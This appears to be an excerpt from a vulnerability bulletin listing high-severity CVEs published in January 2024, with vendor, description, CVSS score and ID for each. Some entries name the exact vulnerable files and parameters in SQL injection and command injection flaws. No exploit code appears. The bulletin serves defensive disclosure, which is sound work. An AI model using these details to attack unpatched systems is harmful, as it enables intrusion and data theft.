kashipara -- food_management_system	A vulnerability was found in Kashipara Food Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file itemBillPdf.php. The manipulation of the argument printid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249848.	2024-01-07	9.8	CVE-2024-0287
kashipara -- food_management_system	A vulnerability classified as critical has been found in Kashipara Food Management System 1.0. This affects an unknown part of the file rawstock_used_damaged_submit.php. The manipulation of the argument product_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249849 was assigned to this vulnerability.	2024-01-08	9.8	CVE-2024-0288
kashipara -- food_management_system	A vulnerability classified as critical was found in Kashipara Food Management System 1.0. This vulnerability affects unknown code of the file stock_entry_submit.php. The manipulation of the argument itemype leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249850 is the identifier assigned to this vulnerability.	2024-01-08	9.8	CVE-2024-0289
kashipara -- food_management_system	A vulnerability, which was classified as critical, has been found in Kashipara Food Management System 1.0. This issue affects some unknown processing of the file stock_edit.php. The manipulation of the argument item_type leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249851.	2024-01-08	9.8	CVE-2024-0290
korenix -- jetnet_series	An Improper Authentication vulnerability in Korenix JetNet TFTP allows abuse of this service. This issue affects JetNet devices older than firmware version 2024/01.	2024-01-09	8.6	CVE-2023-5376
korenix -- jetnet_series	An Improper Verification of Cryptographic Signature vulnerability in the update process of Korenix JetNet Series allows replacing the whole operating system including Trusted Executables. This issue affects JetNet devices older than firmware version 2024/01.	2024-01-09	9.8	CVE-2023-5347
kutethemes -- ovic_responsive_wpbakery	The Ovic Responsive WPBakery WordPress plugin before 1.2.9 does not limit which options can be updated via some of its AJAX actions, which may allow attackers with a subscriber+ account to update blog options, such as 'users_can_register'	2024-01-08	8.8	CVE-2023-5235

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	and 'default_role'. It also unserializes user input in the process, which may lead to Object Injection attacks.			
likeshop -- likeshop	A vulnerability classified as critical was found in Likeshop up to 2.5.7.20210311. This vulnerability affects the function FileServer::userFormImage of the file server/application/api/controller/File.php of the component HTTP POST Request Handler. The manipulation of the argument file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250120.	2024-01-09	7.3	CVE-2024-0352
linux -- kernel	An out-of-bounds access vulnerability involving netfilter was reported and fixed as: f1082dd31fe4 (netfilter: nf_tables: Reject tables of unsupported family); While creating a new netfilter table, lack of a safeguard against invalid nf_tables family (pf) values within `nf_tables_newtable` function enables an attacker to achieve out-of-bounds access.	2024-01-12	7.8	CVE-2023-6040
linux -- linux_kernel	It was discovered that a nft object or expression could reference a nft set on a different nft table, leading to a use-after-free once that table was deleted.	2024-01-08	7.8	CVE-2022-2586
linux -- linux_kernel	io_uring UAF, Unix SCM garbage collection	2024-01-08	7	CVE-2022-2602
linux -- kernel	It was discovered that the eBPF implementation in the Linux kernel did not properly track bounds information for 32 bit registers when performing div and mod operations. A local attacker could use this to possibly execute arbitrary code.	2024-01-08	7.8	CVE-2021-3600
linux -- kernel	It was discovered that the cls_route filter implementation in the Linux kernel would not remove an old filter from the hashtable before freeing it if its handle had the value 0.	2024-01-08	7.8	CVE-2022-2588
lopalopa -- dynamic_lab_management_system	A vulnerability was found in Kashipara Dynamic Lab Management System up to 1.0. It has been classified as critical. This affects an unknown part of the file /admin/admin_login_process.php. The manipulation of the argument admin_password leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249873 was assigned to this vulnerability.	2024-01-08	7.5	CVE-2024-0306
lopalopa -- dynamic_lab_management_system	A vulnerability was found in Kashipara Dynamic Lab Management System up to 1.0. It has been declared as critical. This vulnerability affects unknown code of the file login_process.php. The manipulation of the argument password leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249874 is the identifier assigned to this vulnerability.	2024-01-08	7.5	CVE-2024-0307

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
machothemes -- strong_testimonials	Cross-Site Request Forgery (CSRF) vulnerability in WPChill Strong Testimonials.This issue affects Strong Testimonials: from n/a through 3.1.10.	2024-01-05	8.8	CVE-2023-52123
manageengine -- adselfservice_plus	ManageEngine ADSelfService Plus versions 6401 and below are vulnerable to the remote code execution due to the improper handling in the load balancer component. Authentication is required in order to exploit this vulnerability.	2024-01-11	8.8	CVE-2024-0252
mariosalexandrou -- republish_old_posts	Cross-Site Request Forgery (CSRF) vulnerability in Marios Alexandrou Republish Old Posts.This issue affects Republish Old Posts: from n/a through 1.21.	2024-01-05	8.8	CVE-2023-52145
mate-desktop -- atril	Atril is a simple multi-page document viewer. Atril is vulnerable to a critical Command Injection Vulnerability. This vulnerability gives the attacker immediate access to the target system when the target user opens a crafted document or clicks on a crafted link/URL using a maliciously crafted CBT document which is a TAR archive. A patch is available at commit ce41df6.	2024-01-12	9.6	CVE-2023-51698
meowapps -- database_cleaner	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Jordy Meow Database Cleaner: Clean, Optimize & Repair.This issue affects Database Cleaner: Clean, Optimize & Repair: from n/a through 0.9.8.	2024-01-08	7.5	CVE-2023-51508
metagauss -- profilegrid	Missing Authorization vulnerability in Profilegrid ProfileGrid - User Profiles, Memberships, Groups and Communities.This issue affects ProfileGrid - User Profiles, Memberships, Groups and Communities: from n/a through 5.0.3.	2024-01-08	8.8	CVE-2022-36352
microchip -- maxview_storage_manager	In default installations of Microchip maxView Storage Manager (for Adaptec Smart Storage Controllers) where Redfish server is configured for remote system management, unauthorized access can occur, with data modification and information disclosure. This affects 3.00.23484 through 4.14.00.26064 (except for the patched versions 3.07.23980 and 4.07.00.25339).	2024-01-08	9.1	CVE-2024-22216
microsoft -- .net	.NET Denial of Service Vulnerability	2024-01-09	7.5	CVE-2024-20672
microsoft -- .net_8.0	NET, .NET Framework, and Visual Studio Security Feature Bypass Vulnerability	2024-01-09	9.1	CVE-2024-0057
microsoft -- .net_framework	.NET Framework Denial of Service Vulnerability	2024-01-09	7.5	CVE-2024-21312
microsoft -- azure_storage_mover	Azure Storage Mover Remote Code Execution Vulnerability	2024-01-09	8	CVE-2024-20676
microsoft -- azure_uamqp	Azure uAMQP is a general purpose C library for AMQP 1.0. The UAMQP library is used by several clients to implement AMQP protocol communication. When clients using this library receive a crafted binary type data, an integer overflow or wraparound or memory safety issue can occur and may cause remote code execution. This vulnerability has been patched in release 2024-01-01.	2024-01-09	9.8	CVE-2024-21646
microsoft -- microsoft_office_2019	A security vulnerability exists in FBX that could lead to remote code execution. To mitigate this vulnerability, the ability to insert FBX files has been disabled in Word, Excel, PowerPoint and Outlook for Windows and Mac. Versions of Office that had this feature enabled will no longer have access to it. This includes Office 2019, Office 2021, Office LTSC for Mac 2021, and Microsoft 365. 3D models in Office documents that were previously inserted from a FBX file will continue to work as expected unless the Link to File option was chosen at insert time. This change is effective as of the January 9, 2024 security update.	2024-01-09	7.8	CVE-2024-20677
microsoft -- microsoft_sql_server_2022_(gdr)	Microsoft.Data.SqlClient and System.Data.SqlClient SQL Data Provider Security Feature Bypass Vulnerability	2024-01-09	8.7	CVE-2024-0056
microsoft -- microsoft_visual_studio_2017_version_15.9_(includes_15.0_-_15.8)	Visual Studio Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20656
microsoft -- printer_metadata_troubleshooter_tool	Microsoft Printer Metadata Troubleshooter Tool Remote Code Execution Vulnerability	2024-01-09	7.8	CVE-2024-21325
microsoft -- sharepoint_server	Microsoft SharePoint Server Remote Code Execution Vulnerability	2024-01-09	8.8	CVE-2024-21318

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
microsoft -- windows_10_1507	Windows Kerberos Security Feature Bypass Vulnerability	2024-01-09	8.8	CVE-2024-20674
microsoft -- windows_10_1507	Microsoft Message Queuing Denial of Service Vulnerability	2024-01-09	7.5	CVE-2024-20661
microsoft -- windows_10_1507	Windows Cryptographic Services Remote Code Execution Vulnerability	2024-01-09	7.8	CVE-2024-20682
microsoft -- windows_10_1507	Win32k Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20683
microsoft -- windows_10_1507	Microsoft AllJoyn API Denial of Service Vulnerability	2024-01-09	7.5	CVE-2024-20687
microsoft -- windows_10_1507	Remote Desktop Client Remote Code Execution Vulnerability	2024-01-09	7.5	CVE-2024-21307
microsoft -- windows_10_1809	Windows Libarchive Remote Code Execution Vulnerability	2024-01-09	7.3	CVE-2024-20696
microsoft -- windows_10_1809	Windows Kernel Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20698
microsoft -- windows_10_1809	Windows Hyper-V Remote Code Execution Vulnerability	2024-01-09	7.5	CVE-2024-20700
microsoft -- windows_10_1809	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-21310
microsoft -- windows_10_21h2	Windows Subsystem for Linux Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20681
microsoft -- windows_10_version_1809	Microsoft ODBC Driver Remote Code Execution Vulnerability	2024-01-09	8	CVE-2024-20654
microsoft -- windows_10_version_1809	Windows HTML Platforms Security Feature Bypass Vulnerability	2024-01-09	7.5	CVE-2024-20652
microsoft -- windows_10_version_1809	Windows Group Policy Elevation of Privilege Vulnerability	2024-01-09	7	CVE-2024-20657
microsoft -- windows_10_version_1809	Microsoft Virtual Hard Disk Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20658
microsoft -- windows_11_21h2	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-21309
microsoft -- windows_11_22h2	Windows Libarchive Remote Code Execution Vulnerability	2024-01-09	7.3	CVE-2024-20697
microsoft -- windows_server_2022,23h2_edition_(server_core_installation)	Microsoft Common Log File System Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20653
microsoft -- windows_server_2022_23h2	Win32k Elevation of Privilege Vulnerability	2024-01-09	7.8	CVE-2024-20686
motopress -- getwid_-_gutenberg_blocks	Any unauthenticated user may send e-mail from the site with any title or content to the admin	2024-01-08	7.5	CVE-2023-6042
mtrv -- teachpress	Cross-Site Request Forgery (CSRF) vulnerability in Michael Winkler teachPress.This issue affects teachPress: from n/a through 9.0.4.	2024-01-05	8.8	CVE-2023-52129
ncast_project -- ncast	A vulnerability was found in Guangzhou Yingke Electronic Technology Ncast up to 2017 and classified as problematic. Affected by this issue is some unknown functionality of the file /manage/IPSetup.php of the component Guest Login. The manipulation leads to information disclosure. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249872.	2024-01-08	7.5	CVE-2024-0305
netscout -- ngeniusone	An issue found in NetScout nGeniusOne v.6.3.4 allows a remote attacker to execute arbitrary code and cause a denial of service via a crafted file.	2024-01-09	9.8	CVE-2023-26999
nginx-ui -- nginx-ui	Nginx-UI is an online statistic for Server Indicators?? Monitor CPU usage, memory usage, load average, and disk usage in real-time. This issue may lead to information disclosure. By using `DefaultQuery`, the `"desc"` and `"id"` values are used as default values if the query parameters are not set. Thus, the `order` and `sort_by`	2024-01-11	7	CVE-2024-22196

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	query parameter are user-controlled and are being appended to the `order` variable without any sanitization. This issue has been patched in version 2.0.0.beta.9.			
nginx-ui -- nginx-ui	Nginx-ui is online statistics for Server Indicators?? Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.	2024-01-11	7.7	CVE-2024-22197
nginx-ui -- nginx-ui	Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.	2024-01-11	7.1	CVE-2024-22198
ninjateam -- fastdup	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Ninja Team FastDup - Fastest WordPress Migration & Duplicator.This issue affects FastDup - Fastest WordPress Migration & Duplicator: from n/a through 2.1.7.	2024-01-08	7.5	CVE-2023-51406
nitropack -- nitropack	Cross-Site Request Forgery (CSRF) vulnerability in NitroPack Inc. NitroPack - Cache & Speed Optimization for Core Web Vitals, Defer CSS & JavaScript, Lazy load Images.This issue affects NitroPack - Cache & Speed Optimization for Core Web Vitals, Defer CSS & JavaScript, Lazy load Images: from n/a through 1.10.2.	2024-01-05	8.8	CVE-2023-52121
nvidia -- dgx_a100	NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a dynamic variable evaluation by local access. A successful exploit of this vulnerability may lead to denial of service.	2024-01-12	7.5	CVE-2023-31032
nvidia -- dgx_a100	NVIDIA DGX A100 SBIOS contains a vulnerability where an attacker may cause an SMI callout vulnerability that could be used to execute arbitrary code at the SMM level. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, and information disclosure.	2024-01-12	7.5	CVE-2023-31035
nvidia -- dgx_a100	NVIDIA DGX A100 BMC contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause stack memory corruption by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9	CVE-2023-31024
nvidia -- dgx_a100	NVIDIA DGX A100 baseboard management controller (BMC) contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause a stack overflow by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9.3	CVE-2023-31029
nvidia -- dgx_a100	NVIDIA DGX A100 BMC contains a vulnerability in the host KVM daemon, where an unauthenticated attacker may cause a stack overflow by sending a specially crafted network packet. A successful exploit of this vulnerability may lead to arbitrary code execution, denial of service, information disclosure, and data tampering.	2024-01-12	9.3	CVE-2023-31030
nvidia -- triton_inference_server	NVIDIA Triton Inference Server for Linux and Windows contains a vulnerability where, when it is launched with the non-default command line option --model-control explicit, an attacker may use the model load API to cause a relative path traversal. A successful exploit of this vulnerability may lead to code execution, denial of service, escalation of privileges, information disclosure, and data tampering.	2024-01-12	7.5	CVE-2023-31036
omron -- cj-series/cs-series_cpu_modules	An attacker with network access to the affected PLC (CJ-series and CS-series PLCs, all versions) may use a network protocol to read and write files form the PLC internal memory and memory card.	2024-01-10	8.6	CVE-2022-45794
onenav -- onenav	A vulnerability was found in OneNav up to 0.9.33. It has been classified as critical. This affects an unknown part of the file /index.php?c=api of the component API. The manipulation of the argument X-Token leads to improper authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249765 was assigned to this vulnerability.	2024-01-07	9.8	CVE-2023-7210
online_food_ordering_system_projec	A vulnerability classified as critical was found in CodeAstro Online Food Ordering System 1.0. This vulnerability affects unknown code of the file /admin/ of the	2024-01-05	9.8	CVE-2024-0247

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
t -- online_food_ordering_system	component Admin Panel. The manipulation of the argument Username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-249778 is the identifier assigned to this vulnerability.			
open-xchange -- ox_app_suite	The optional "LDAP contacts provider" could be abused by privileged users to inject LDAP filter strings that allow to access content outside of the intended hierarchy. Unauthorized users could break confidentiality of information in the directory and potentially cause high load on the directory server, leading to denial of service. Encoding has been added for user-provided fragments that are used when constructing the LDAP query. No publicly available exploits are known.	2024-01-08	9.6	CVE-2023-29050
open-xchange -- ox_app_suite	A component for parsing OXMF templates could be abused to execute arbitrary system commands that would be executed as the non-privileged runtime user. Users and attackers could run system commands with limited privilege to gain unauthorized access to confidential information and potentially violate integrity by modifying resources. The template engine has been reconfigured to deny execution of harmful commands on a system level. No publicly available exploits are known.	2024-01-08	8.8	CVE-2023-29048
open-xchange -- ox_app_suite	User-defined OXMF templates could be used to access a limited part of the internal OX App Suite Java API. The existing switch to disable the feature by default was not effective in this case. Unauthorized users could discover and modify application state, including objects related to other users and contexts. We now make sure that the switch to disable user-generated templates by default works as intended and will remove the feature in future generations of the product. No publicly available exploits are known.	2024-01-08	8.1	CVE-2023-29051
openvpn -- connect	OpenVPN Connect version 3.0 through 3.4.6 on macOS allows local users to execute code in external third party libraries using the DYLD_INSERT_LIBRARIES environment variable	2024-01-08	7.8	CVE-2023-7224
oretnom23 -- clinic_queuing_system	A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /LoginRegistration.php. The manipulation of the argument formToken leads to authorization bypass. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249820.	2024-01-07	9.8	CVE-2024-0264
oretnom23 -- clinic_queuing_system	A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php of the component GET Parameter Handler. The manipulation of the argument page leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249821 was assigned to this vulnerability.	2024-01-07	8.8	CVE-2024-0265
ovation -- dynamic_content_for_elementor	Cross-Site Request Forgery (CSRF) vulnerability in Ovation S.R.L. Dynamic Content for Elementor.This issue affects Dynamic Content for Elementor: from n/a before 2.12.5.	2024-01-05	8.8	CVE-2023-52150
phome -- empirecms	SQL injection vulnerability in EmpireCMS v7.5, allows remote attackers to execute arbitrary code and obtain sensitive information via the DoExecSql function.	2024-01-09	7.2	CVE-2023-50162
phpgurukul -- dairy_farm_shop_management_system	A vulnerability, which was classified as critical, was found in PHPGurukul Dairy Farm Shop Management System up to 1.1. Affected is an unknown function of the file add-category.php. The manipulation of the argument category leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250122 is the identifier assigned to this vulnerability.	2024-01-10	9.8	CVE-2024-0355
phpgurukul -- hospital_management_system	A vulnerability was found in PHPGurukul Hospital Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file admin/edit-doctor-specialization.php. The manipulation of the argument doctorspecilization leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250127.	2024-01-10	9.8	CVE-2024-0360
phpgurukul -- hospital_management_system	A vulnerability classified as critical has been found in PHPGurukul Hospital Management System 1.0. Affected is an unknown function of the file admin/contact.php. The manipulation of the argument mobnum leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250128.	2024-01-10	9.8	CVE-2024-0361
phpgurukul -- hospital_management_system	A vulnerability classified as critical was found in PHPGurukul Hospital Management System 1.0. Affected by this vulnerability is an unknown functionality of the file admin/change-password.php. The manipulation of the argument cpass leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-250129 was assigned to this vulnerability.	2024-01-10	9.8	CVE-2024-0362

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
phpgurukul -- hospital_management_system	A vulnerability, which was classified as critical, has been found in PHPGurukul Hospital Management System 1.0. Affected by this issue is some unknown functionality of the file admin/patient-search.php. The manipulation of the argument searchdata leads to sql injection. The exploit has been disclosed to the public and may be used. VDB-250130 is the identifier assigned to this vulnerability.	2024-01-10	9.8	CVE-2024-0363
phpgurukul -- hospital_management_system	A vulnerability, which was classified as critical, was found in PHPGurukul Hospital Management System 1.0. This affects an unknown part of the file admin/query-details.php. The manipulation of the argument adminremark leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250131.	2024-01-10	9.8	CVE-2024-0364
presstigers -- simple_job_board	Cross-Site Request Forgery (CSRF) vulnerability in PressTigers Simple Job Board.This issue affects Simple Job Board: from n/a through 2.10.6.	2024-01-05	8.8	CVE-2023-52122
prestashow -- google_integrator	Blind SQL Injection vulnerability in PrestaShow Google Integrator (PrestaShop addon) allows for data extraction and modification. This attack is possible via command insertion in one of the cookies.	2024-01-08	9.1	CVE-2023-6921
ptc -- kepware_kepserverex	An uncontrolled search path element vulnerability (DLL hijacking) has been discovered that could allow a locally authenticated adversary to escalate privileges to SYSTEM.	2024-01-10	7.8	CVE-2023-29445
puma -- puma	Puma is a web server for Ruby/Rack applications built for parallelism. Prior to version 6.4.2, puma exhibited incorrect behavior when parsing chunked transfer encoding bodies in a way that allowed HTTP request smuggling. Fixed versions limits the size of chunk extensions. Without this limit, an attacker could cause unbounded resource (CPU, network bandwidth) consumption. This vulnerability has been fixed in versions 6.4.2 and 5.6.8.	2024-01-08	7.5	CVE-2024-21647
pyload -- pyload	pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.	2024-01-08	8.8	CVE-2023-47890
pyload -- pyload	pyLoad is the free and open-source Download Manager written in pure Python. Any unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable. This issue has been patched in version 0.5.0b3.dev77.	2024-01-08	7.5	CVE-2024-21644
qnap -- qcalagent	An OS command injection vulnerability has been reported to affect QcalAgent. If exploited, the vulnerability could allow authenticated users to execute commands via a network. We have already fixed the vulnerability in the following version: QcalAgent 1.1.8 and later	2024-01-05	8.8	CVE-2023-41289 security@qnapsecurity.com.tw
qnap -- qts	An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QuTS hero h5.1.3.2578 build 20231110 and later	2024-01-05	7.2	CVE-2023-39294 security@qnapsecurity.com.tw
qnap -- qts	A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QuTS hero h5.1.3.2578 build 20231110 and later	2024-01-05	7.5	CVE-2023-39296 security@qnapsecurity.com.tw
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45039 security@qnapsecurity.com.tw
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45040 security@qnapsecurity.com.tw
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45041 security@qnapsecurity.com.tw
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45042 security@qnapsecurity.com.tw

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45043 security@qnapsecurity.com.tw
qnap -- qts	A buffer copy without checking size of input vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to execute code via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.4.2596 build 20231128 and later QuTS hero h5.1.4.2596 build 20231128 and later	2024-01-05	7.2	CVE-2023-45044 security@qnapsecurity.com.tw
qnap -- qumagie	A SQL injection vulnerability has been reported to affect QuMagie. If exploited, the vulnerability could allow authenticated users to inject malicious code via a network. We have already fixed the vulnerability in the following version: QuMagie 2.2.1 and later	2024-01-05	8.8	CVE-2023-47219 security@qnapsecurity.com.tw
qnap -- qumagie	An OS command injection vulnerability has been reported to affect QuMagie. If exploited, the vulnerability could allow authenticated users to execute commands via a network. We have already fixed the vulnerability in the following version: QuMagie 2.2.1 and later	2024-01-05	8.8	CVE-2023-47560 security@qnapsecurity.com.tw
qnap -- video_station	A SQL injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow users to inject malicious code via a network. We have already fixed the vulnerability in the following version: Video Station 5.7.2 (2023/11/23) and later	2024-01-05	8.8	CVE-2023-41287 security@qnapsecurity.com.tw
qnap -- video_station	An OS command injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following version: Video Station 5.7.2 (2023/11/23) and later	2024-01-05	8.8	CVE-2023-41288 security@qnapsecurity.com.tw
redis -- redis	Redis is an in-memory database that persists on disk. Redis incorrectly handles resizing of memory buffers which can result in integer overflow that leads to heap overflow and potential remote code execution. This issue has been patched in version 7.0.15 and 7.2.4.	2024-01-10	8.1	CVE-2023-41056
reputeinfosystems -- armember	Cross-Site Request Forgery (CSRF), Deserialization of Untrusted Data vulnerability in Repute Infosystems ARMember - Membership Plugin, Content Restriction, Member Levels, User Profile & User signup.This issue affects ARMember - Membership Plugin, Content Restriction, Member Levels, User Profile & User signup: n/a.	2024-01-08	9.8	CVE-2023-52200
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to upload arbitrary files in all paths of the system under the context of the application OS user ("root") via a crafted HTTP request. By abusing this vulnerability, it is possible to obtain remote code execution (RCE) with root privileges on the device.	2024-01-10	8.1	CVE-2023-48243 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to authenticate to the web application with high privileges through multiple hidden hard-coded accounts.	2024-01-10	8.1	CVE-2023-48250 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to authenticate to the SSH service with root privileges through a hidden hard-coded account.	2024-01-10	8.1	CVE-2023-48251 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an authenticated remote attacker to perform actions exceeding their authorized access via crafted HTTP requests.	2024-01-10	8.8	CVE-2023-48252 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote authenticated attacker to read or update arbitrary content of the authentication database via a crafted HTTP request. By abusing this vulnerability it is possible to exfiltrate other users' password hashes or update them with arbitrary values and access their accounts.	2024-01-10	8.8	CVE-2023-48253 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.	2024-01-10	8.1	CVE-2023-48262 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.	2024-01-10	8.1	CVE-2023-48263 psirt@bosch.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.	2024-01-10	8.1	CVE-2023-48264 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.	2024-01-10	8.1	CVE-2023-48265 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows an unauthenticated remote attacker to perform a Denial-of-Service (DoS) attack or, possibly, obtain Remote Code Execution (RCE) via a crafted network request.	2024-01-10	8.1	CVE-2023-48266 psirt@bosch.com
rexroth -- nexo_cordless_nutrunner_nxa015s-36v	The vulnerability allows a remote attacker to access sensitive data inside exported packages or obtain up to Remote Code Execution (RCE) with root privileges on the device. The vulnerability can be exploited directly by authenticated users, via crafted HTTP requests, or indirectly by unauthenticated users, by accessing already-exported backup packages, or crafting an import package and inducing an authenticated victim into sending the HTTP upload request.	2024-01-10	7.8	CVE-2023-48257 psirt@bosch.com
sap -- gui_connector	Under certain conditions the Microsoft Edge browser extension (SAP GUI connector for Microsoft Edge) - version 1.0, allows an attacker to access highly sensitive information which would otherwise be restricted causing high impact on confidentiality.	2024-01-09	7.5	CVE-2024-22125 cna@sap.com cna@sap.com
